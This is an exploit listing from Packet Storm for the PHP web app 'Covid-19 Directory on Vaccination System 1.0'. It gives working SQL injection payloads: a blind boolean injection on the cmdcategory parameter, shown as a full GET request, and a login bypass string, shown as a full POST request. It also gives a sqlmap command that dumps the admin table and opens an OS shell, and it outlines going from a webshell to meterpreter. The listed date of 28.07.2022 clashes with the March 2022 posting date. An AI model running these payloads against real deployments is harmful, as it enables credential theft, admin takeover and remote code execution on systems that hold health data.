what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Covid-19 Directory On Vaccination System 1.0 SQL Injection

Covid-19 Directory On Vaccination System 1.0 SQL Injection
Posted Mar 28, 2022
Authored by Hejap Zairy

Covid-19 Directory on Vaccination System version 1.0 suffers from multiple remote SQL injection vulnerabilities. This research was submitted on the same day Packet Storm received similar findings from Saud Alenazi.

tags | exploit, remote, vulnerability, sql injection
SHA-256 | e48dbf027b0b4419ae063d8e8f6f74a5ea759c8c8d62182c1e548e4c07416b36

Covid-19 Directory On Vaccination System 1.0 SQL Injection

Change Mirror Download
# Title: Covid-19 Directory on Vaccination System 1.0 Blind boolean SQLi To Rce
# Author: Hejap Zairy
# Date: 28.07.2022
# Vendor: https://www.sourcecodester.com/php/15244/design-and-implementation-covid-19-directory-vacination.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/covid-19-vaccination_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache


# Steps
# 1.- Go to : http://0day.gov//covid-19/hospital.php?cmdcategory=1
# 2 - manual inject Blind SQli https://0day.gov/covid-19/hospital.php?cmdcategory=1%' AND MAKE_SET(1373=1373,8255) AND 'hejap%'='hejap
# 3 - SQLi To RCE r00t
# 4 - Ubload webshell
# 5 - Web Shell to meterpreter full tty shell

#vulnerability Code php

---
```php
$category = $_GET['cmdcategory'];
// $conn = new mysqli ($servername, $username, $password, $dbname) or die("Connection to Database Failed");
$stmt = $conn->stmt_init();
$sql = "SELECT vaccination_center FROM hospital WHERE category_id = (select id_no from category where category like '$category%')";
$stmt->prepare($sql);
$stmt->execute();
$result = $stmt->get_result();
while($resultRow = $result->fetch_array(MYSQLI_NUM))
echo "<option>$resultRow[0]</option>";
$result->close();
$stmt->close();
```
---
#Status: CRITICAL
[+] Payload GET

---
GET /covid-19/hospital.php?cmdcategory=1%' AND MAKE_SET(1373=1373,8255) AND 'hejap%'='hejap HTTP/1.1
Host: 0day.gov
Cookie: PHPSESSID=av2qn4bthu78hm972lul6vmniv
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Te: trailers
Connection: close
---

```
---
Parameter: cmdcategory (GET)
Type: boolean-based blind
Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)
Payload: cmdcategory=1%' AND MAKE_SET(1373=1373,8255) AND 'hJWj%'='hJWj

---

```
#Blind SQLi Time to Rce
#ُExploit


sqlmap -u http://0day.gov/covid-19/hospital.php?cmdcategory=1" -p cmdcategory
' --hex --time-sec=10 --dbms=mysql --technique=b --random-agent --eta -D covid19 -T admin --dump --os-shell --priv-esc

# Description:
The Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc

# Proof and Exploit:
https://i.imgur.com/xeWSc7B.png
https://i.imgur.com/XiVBeYa.png


----------------------------------


# Title: Covid-19 Directory on Vaccination System 1.0 - SQLi Authentication Bypass
# Author: Hejap Zairy
# Date: 28.07.2022
# Vendor: https://www.sourcecodester.com/php/15244/design-and-implementation-covid-19-directory-vacination.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/covid-19-vaccination_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache


# Steps
# 1.- Go to : https://0day.gov/covid-19/admin/login.php
# 2 - SQLi Authentication Bypass [admin'or 1=1 or ''=']

#vulnerability Code php

---
```php
if(isset($_POST['btnlogin']))
{
$username = $_POST['txtusername'];
$password = $_POST['txtpassword'];
$status = 'Active';
$sql = "SELECT * FROM admin WHERE username='" .$username. "' and password = '".$password."' and status = '".$status."' ";

```
---
#Status: CRITICAL
[+] Payload POST

---
POST /covid-19/admin/login.php HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Origin: http://0day.gov
Connection: close
Referer: http://0day.gov/covid-19/admin/login.php
Cookie: PHPSESSID=c9sbs70le23qois1riekoj8osg
Upgrade-Insecure-Requests: 1
txtusername=admin%27or+1%3D1+or+%27%27%3D%27&txtpassword=hejap&btnlogin=
---

#Blind SQLi Time to Rce
#ُExploit


# Description:
The SQLi vulnerability We can use this information to construct an injection attack to bypass authentication.


# Proof and Exploit:

https://i.imgur.com/oDj69Hw.png
https://i.imgur.com/JO4SLxa.png
https://i.imgur.com/kYgU7xl.png

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close